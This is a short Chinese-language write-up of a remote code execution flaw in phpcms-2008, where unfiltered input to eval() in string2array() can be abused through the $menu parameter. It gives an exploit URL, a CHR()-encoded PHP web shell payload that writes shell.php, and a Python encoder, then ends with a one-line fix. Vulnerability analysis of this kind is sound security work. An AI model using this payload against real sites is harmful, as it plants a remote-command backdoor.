phpcms-2008 远程代码执行漏洞

phpcms—2008 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞.

源代码下载

0x01产生漏洞的原因:

在/yp/web/include/common.inc.php文件中,引用$menu变量,没有初始化,导致攻击者控制住这个变量

覆盖原来的变量,进行命令执行操作。

0x02漏洞分析:

/yp/web/include/common.inc.php

$menu=string2array($menu);

这个文件上面没有发现$menu变量,然后再下面的文件使用$menu变量操作

/include/global.func.php

function string2array($data)
{

if($data=='')return array();
eval("\$array=$data;");
return $array();
}

在这个文件中,没有对传过来的$data进行过滤,攻击者会通过$data=dir,将命令传给$menu,这样攻击就形成了

利用的代码

function string2array($data)
{

if($data==’’)return array();
eval(“\$array=$data;”);
return $array();
}

eval("\$array=phpingo();exit();");

exp:

?userid=abc&menu=phpinfo();exit();

0x03漏洞利用:

shell.php

CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(46).CHR(112).CHR(104).CHR(112)

<?php eval($_GETfun);?>

CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(71).CHR(69).CHR(84).CHR(91).CHR(102).CHR(117).CHR(110).CHR(93).CHR(40).CHR(36).CHR(95).CHR(71).CHR(69).CHR(84).CHR(91).CHR(99).CHR(109).CHR(100).CHR(93).CHR(41).CHR(41).CHR(59).CHR(63).CHR(62)

执行命令

CHR类型转换小代码

text="shell.php"
output=""
for i in range(len(text)):
    output+="CHR(%s)" % ord(text[i])
    if i <len(text)-1:
        output+="."

print output

安全防护

  • /yp/web/include/common.inc.php

    添加:$menu=’’;